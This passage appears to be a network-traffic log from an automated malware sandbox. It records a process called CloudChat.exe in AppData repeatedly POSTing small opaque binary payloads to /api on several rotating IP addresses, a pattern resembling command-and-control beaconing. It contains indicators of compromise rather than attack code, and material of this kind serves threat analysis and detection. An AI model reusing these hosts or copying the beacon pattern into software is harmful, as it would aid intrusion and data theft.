Sep 30, 2024 12:21:02.223160028 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 c4 b2 52 9a 8b 7b fa e6 4c 00 00 00 ed 35 cd ee 19 64 0f 92 25 d4 78 ca ed 50 db ab 55 c3 bd a5 c9 ae fc ef d3 35 f7 f8 c3 88 00 00 af 07 de 8a 3e b6 69 ef 3b dd e3 a6 d3 8a d0 59 19 bd 96 8c aa 91 b2 5a 8d f5 4a 64 fe 1c Data Ascii: R{L5d%xPU5>i;YZJdmY^"`R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	50166	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:02.333738089 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:21:02.338599920 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 cc b2 52 9a 8b 7b fa e6 4c 00 00 00 ed 35 cd ee 18 1e 5e 1f 87 b3 71 3f b5 d5 c2 7a 6c 4e fb 24 cd 65 35 f1 cc 9c 22 b4 e1 00 00 00 3e 3e 22 d8 f7 2a a9 d2 1c 37 39 b3 36 c1 24 91 18 7d 7d 1e 08 4f ea 57 03 04 43 2a fc f5 Data Ascii: R{L5^q?zlN$e5">>"796$}}OWCZ-"3\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	50169	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:02.440459013 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:21:02.446870089 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 d4 b2 52 9a 8b 7b fa e6 3c 00 00 00 ed 35 cd ee 13 d1 cd 0b 09 37 3b fe 32 86 4d 16 20 62 fb 35 d7 5e ef 9a b0 69 eb dd aa c4 48 69 24 82 48 1a 53 a1 a7 dc 13 c2 49 59 66 02 a7 8e fc a3 b4 a1 da 95 de 34 cc b3 8a 27 Data Ascii: R{<57;2M b5^iHi$HSIYf4'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	50173	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:02.544058084 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:21:02.552966118 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 dc b2 52 9a 8b 7b fa e6 3c 00 00 00 ed 35 cd ee 10 20 0b 99 f3 6e a4 fb 90 3f f3 38 7d 25 d5 08 de 00 00 00 f0 ae 80 d4 4e 89 2b 2b 58 11 9d 82 c3 1d 8e 43 10 78 ba 64 44 1a 73 e6 b8 8f f3 17 c4 8a 29 31 e1 00 00 00 Data Ascii: R{<5 n?8}%N++XCxdDs)1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	50176	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:02.647505045 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:21:02.652357101 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 e4 b2 52 9a 8b 7b fa e6 3c 00 00 00 ed 35 cd ee 13 14 f9 2e a7 18 78 3e 7e 36 5c bb b1 a7 81 df d0 79 c6 7f 0c 76 10 6b bd 95 a8 55 45 cc 87 f4 ad 55 b3 ea 13 ef 7f e1 c7 ca 56 77 81 ac a4 b5 5e 41 cf 4b e4 3e f3 fd Data Ascii: R{<5.x>~6\yvkUEUVw^AK>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	50180	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:02.759007931 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:21:02.764071941 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 ec b2 52 9a 8b 7b fa e6 44 00 00 00 ed 35 cd ee 14 28 62 9b 3c 75 47 7b cf f0 af ea fd 5d e6 14 a0 2c 78 3a 79 00 00 00 d6 95 d7 a3 97 d1 61 b9 1b db ea a5 b4 13 31 f8 14 e1 6a ee 51 89 71 81 f0 c1 73 3d af e0 b8 46 ac 02 Data Ascii: R{D5(b<uG{],x:ya1jQqs=FyK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	50183	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:02.873303890 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:21:02.878869057 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 f4 b2 52 9a 8b 7b fa e6 2c 00 00 00 ed 35 cd ee 08 6f 8b 81 1b 87 0f d9 b8 00 00 00 23 2b 17 2b fa cb 47 d9 55 45 dc 8e 3c 5e 7e 09 08 15 39 af 06 b5 1c a6 7b 00 00 00 Data Ascii: R{,5o#++GUE<^~9{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	50187	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:02.985796928 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:21:02.990585089 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 fc b2 52 9a 8b 7b fa e6 2c 00 00 00 ed 35 cd ee 08 06 a4 7b 53 db b6 18 cb 00 00 00 f9 a7 d8 43 62 5c 31 34 74 3e ba dd 49 46 69 02 08 74 16 0d 32 85 1a e5 54 00 00 00 Data Ascii: R{,5{SCb\14t>IFit2T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	50190	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:03.096159935 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:21:03.100918055 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 04 b3 52 9a 8b 7b fa e6 2c 00 00 00 ed 35 cd ee 0a 4b 39 c4 59 4b 32 ca 9a 73 f5 00 46 c5 93 56 cd 85 fb de 0e 9e 6f cb 79 3c f7 24 0a 47 ec 13 12 07 30 f1 66 9e b1 00 Data Ascii: R{,5K9YK2sFVoy<$G0f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	50194	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:03.207153082 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:21:03.212686062 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 0c b3 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0c 36 29 ae da ec 8e 1c b7 96 2b 95 00 00 00 00 b3 62 3e 54 bf a2 ef 5e 93 06 54 b1 19 99 17 e2 0c ca dc 76 6b 63 dd 0b 84 f9 bf 83 11 00 00 00 Data Ascii: R{456)+b>T^Tvkc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	50197	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:03.317322969 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:21:03.322992086 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 14 b3 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0c 5d 42 41 c5 7d af cc 06 e3 06 be ae 00 00 00 79 eb d8 82 86 91 e9 00 8c be 60 f6 29 48 76 e9 0c 46 68 61 44 34 37 c2 36 bc 79 7a 56 00 00 00 Data Ascii: R{45]BA}y`)HvFhaD476yzV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	50201	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:03.432339907 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:21:03.437292099 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 1c b3 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0d 45 64 34 25 44 65 78 f0 b6 fd f9 ae 1a 00 00 3c 32 32 65 6b f2 84 98 97 f3 29 9e 4b ba 67 43 0d 2b 38 30 6e 33 76 7d 33 cb 90 1c 01 54 00 00 Data Ascii: R{45Ed4%Dex<22ek)KgC+80n3v}3T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	50204	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:03.542602062 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:21:03.548383951 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 24 b3 52 9a 8b 7b fa e6 3c 00 00 00 ed 35 cd ee 11 24 14 8c 7d 7e c2 28 8e ee 5f 45 21 13 ba 0a 8d d4 00 00 3d 3f 86 cd 18 18 57 f2 c3 65 ad 8c cf de 54 78 11 3e 35 da 26 07 44 83 24 bf de 46 5d 96 a2 b7 d4 93 00 00 Data Ascii: $R{<5$}~(_E!=?WeTx>5&D$F]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	50208	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:03.714531898 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:21:03.721093893 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 2c b3 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0d 38 81 1a ef 96 bb 23 61 3d b9 9c fe c2 00 00 87 3b d5 b7 55 c3 b3 0e 3b 21 d5 24 39 2b 87 fb 0d 46 fd 86 75 f9 e7 fa 7b 03 2c f4 fa b8 00 00 Data Ascii: ,R{458#a=;U;!$9+Fu{,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	50217	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:04.206094027 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:21:04.211334944 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 40 b3 52 9a 8b 7b fa e6 44 00 00 00 ed 35 cd ee 15 72 6c e0 4f b0 4a f4 a3 30 6b 6f e8 0e fe df 77 20 af 2b e2 45 00 00 15 00 ac 77 1e 7c 9a 6b fb b9 f1 8c c9 05 94 3d 15 c6 bf 3e a5 3b 57 47 a1 be fd 40 d9 a6 cc d7 a6 3c Data Ascii: @R{D5rlOJ0kow +Ew\|k=>;WG@<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	50219	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:04.209314108 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:21:04.214773893 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 f8 e6 37 09 54 de fa 66 44 00 00 00 ed 35 cd ee 15 fe 21 69 06 b4 79 46 e6 dd df 05 ca 2a 51 fc 02 4a 2e 4e fc fa 00 00 bd 5f 04 cb 83 d5 41 15 bb 70 bb 01 7d 9c cb 94 15 d9 3c 5d 7c c0 d7 0f ed 9e fd 0f 4d af 9d 63 db 75 Data Ascii: 7TfD5!iyF*QJ.N_Ap}<]\|Mcu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	50223	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:04.313807011 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:21:04.319303036 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 50 b3 52 9a 8b 7b fa e6 3c 00 00 00 ed 35 cd ee 11 14 26 01 46 0f 80 65 aa 11 94 8c 14 30 14 19 20 4b 00 00 7e 65 87 c9 16 1c 56 f5 d4 a7 cf 17 2b c5 c4 57 11 d3 13 f2 e7 d5 ff e5 7d 72 34 0a ed 97 0a 36 bc e1 00 00 Data Ascii: PR{<5&Fe0 K~eV+W}r46

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	50226	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:04.426897049 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:21:04.432147980 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 58 b3 52 9a 8b 7b fa e6 4c 00 00 00 ed 35 cd ee 1a 13 bb 9f 3b dd 92 36 83 0f cb 5b d9 98 30 6a 6b 25 2e 29 86 c1 c0 8e 26 49 28 00 bb bd 0b ec 9d 62 fd bb 7d be 66 be 2c d1 c2 21 1a f5 41 ce 23 b6 4e ed c7 2b 2c 6b 47 5f Data Ascii: XR{L5;6[0jk%.)&I(b}f,!A#N+,kG_Y~bd%iK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	50230	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:04.536772966 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:21:04.542637110 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 60 b3 52 9a 8b 7b fa e6 4c 00 00 00 ed 35 cd ee 1a 9b 24 99 78 d4 3a 5f 9b c2 90 98 2d e3 ee 07 ed 64 33 e1 7e af fb fd c8 85 c6 00 ec b5 30 ec f0 de b3 60 a8 45 0d 05 bb 5b d6 60 1a 7a a7 4b 3c c3 3c 64 84 dc 40 61 2b 97 Data Ascii: `R{L5$x:_-d3~0`E[`zK<<d@a+;{nf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	50233	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:04.651065111 CEST	225	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:21:04.656126022 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 68 b3 52 9a 8b 7b fa e6 54 00 00 00 ed 35 cd ee 1e e0 b2 f8 27 7e 02 49 9d c0 fe a0 a3 2b cd b8 87 c6 88 5a aa ba a8 6c 51 01 27 d6 f7 43 74 00 61 d8 e0 c9 28 ca 4a 9d 1d 8a 26 21 55 7d e5 fe 1e a8 6c 58 86 7b 2c 7a cd 34 Data Ascii: hR{T5'~I+ZlQ'Cta(J&!U}lX{,z4Qvb3Ci}_Qa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	50237	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:04.759260893 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:21:04.764101982 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 d4 b3 52 9a 8b 7b fa e6 4c 00 00 00 ed 35 cd ee 1b c5 cb 3c cf 30 0a 93 44 24 65 bf 66 b1 9f e4 70 3f 54 f5 f1 94 96 83 fe f9 3c f8 e9 5b 03 13 e1 63 9d 37 53 dc 46 ba 73 82 f8 04 1b 46 cd ad 6d 47 9f 64 56 51 d0 42 06 dc Data Ascii: R{L5<0D$efp?T<[c7SFsFmGdVQBn3wu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	50244	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:05.025645018 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:21:05.030451059 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 e0 b3 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0e 1d ab 1e 0f f3 d9 40 00 05 3e 57 28 f0 ff 00 1a e1 00 1a 19 75 34 0c f9 de 74 d3 4d e5 b0 73 0e 0c 78 a8 cd 7e d2 cd a8 5f b8 69 29 ea be 00 Data Ascii: R{45@>W(u4tMsx~_i)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	50247	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:05.096311092 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:21:05.101439953 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 e8 b3 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0f 3c c5 89 bf 6c 78 e5 02 62 96 86 0f 09 1c 4c 6b 3c c8 2a 88 12 a5 e6 53 27 29 eb a0 5b df 46 0f 28 85 5a a5 03 b0 07 1d 96 0a 62 fd 09 ba d5 Data Ascii: R{45<lxbLk<*S')[F(Zb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	50251	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:05.209424019 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:21:05.214334011 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 f0 b3 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0c ac 6c af 1d 56 f4 f7 3b 1f a5 c2 02 00 00 00 61 db fd 3f 0e be 61 f0 9c a8 e9 89 c4 af b9 04 0c 56 60 e2 9a f8 b3 a6 33 f8 82 11 df 00 00 00 Data Ascii: R{45lV;a?aV`3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	50254	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:05.321796894 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:21:05.326683998 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 f8 b3 52 9a 8b 7b fa e6 2c 00 00 00 ed 35 cd ee 09 58 75 2c 41 62 0d a2 37 38 00 00 fd b2 68 7d b8 81 59 76 d0 81 52 12 85 eb 45 cd 09 8b 92 7c d0 25 89 82 77 f3 00 00 Data Ascii: R{,5Xu,Ab78h}YvRE\|%w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	50258	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:05.444890022 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:21:05.453191042 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 b4 52 9a 8b 7b fa e6 34 00 00 00 ed 35 cd ee 0d 02 8a 7c 88 38 dd cb b0 5d 66 ab 33 d8 00 00 a7 07 97 11 dc 02 33 7f 23 51 c0 43 58 49 ca 83 0d b8 d4 c7 e4 40 62 0d a8 5f 10 9d 77 07 00 00 Data Ascii: R{45\|8]f33#QCXI@b_w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	50261	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:05.561240911 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:21:05.566517115 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 08 b4 52 9a 8b 7b fa e6 3c 00 00 00 ed 35 cd ee 11 c3 f1 bd f5 2d c1 f3 8a e1 c2 be 3a cb de ef b1 68 00 00 d8 2c 4a 57 20 91 9b 8e a9 b9 e2 11 57 31 74 48 11 93 c2 db ab 48 1d 74 ef 7f a2 d8 e0 d7 4c 12 c6 75 00 00 Data Ascii: R{<5-:h,JW W1tHHtLu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	50264	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:05.664678097 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:21:05.669970989 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 10 b4 52 9a 8b 7b fa e6 3c 00 00 00 ed 35 cd ee 12 24 93 d9 4e 68 a3 81 60 60 e6 2f 61 86 76 ff 18 86 c1 00 e5 3b b9 83 db 09 c6 5b 6e 05 53 c6 e7 e4 d6 ec 12 2f 47 7c f9 dc ab 7b f8 a7 7d 8a 2e 11 96 1c 97 4f 53 00 Data Ascii: R{<5$Nh``/av;[nS/G\|{}.OS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	50268	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:05.780630112 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:21:05.785550117 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 18 b4 52 9a 8b 7b fa e6 2c 00 00 00 ed 35 cd ee 08 7d b1 58 e5 52 9b 7c aa 00 00 00 d5 72 80 bc ec df 08 73 56 50 36 3d 11 68 45 11 08 5c ff 14 2d f3 53 73 bd 00 00 00 Data Ascii: R{,5}XR\|rsVP6=hE\-Ss

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	50272	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:21:05.887305975 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:21:05.892163992 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 20 b4 52 9a 8b 7b fa e6 4c 00 00 00 ed 35 cd ee 18 c6 af a6 a8 30 f0 2b fc 8c fc 6f d9 f9 d1 d3 88 ec 7c 72 9e 15 d5 34 67 00 00 00 b8 03 9b 27 9d f4 3a ab be 4e 26 aa 55 b2 bb 03 18 88 61 69 b3 11 2e 83 2a 35 e0 6d 9a 24 Data Ascii: R{L50+o\|r4g':N&Uai.*5m$0?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	50275	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
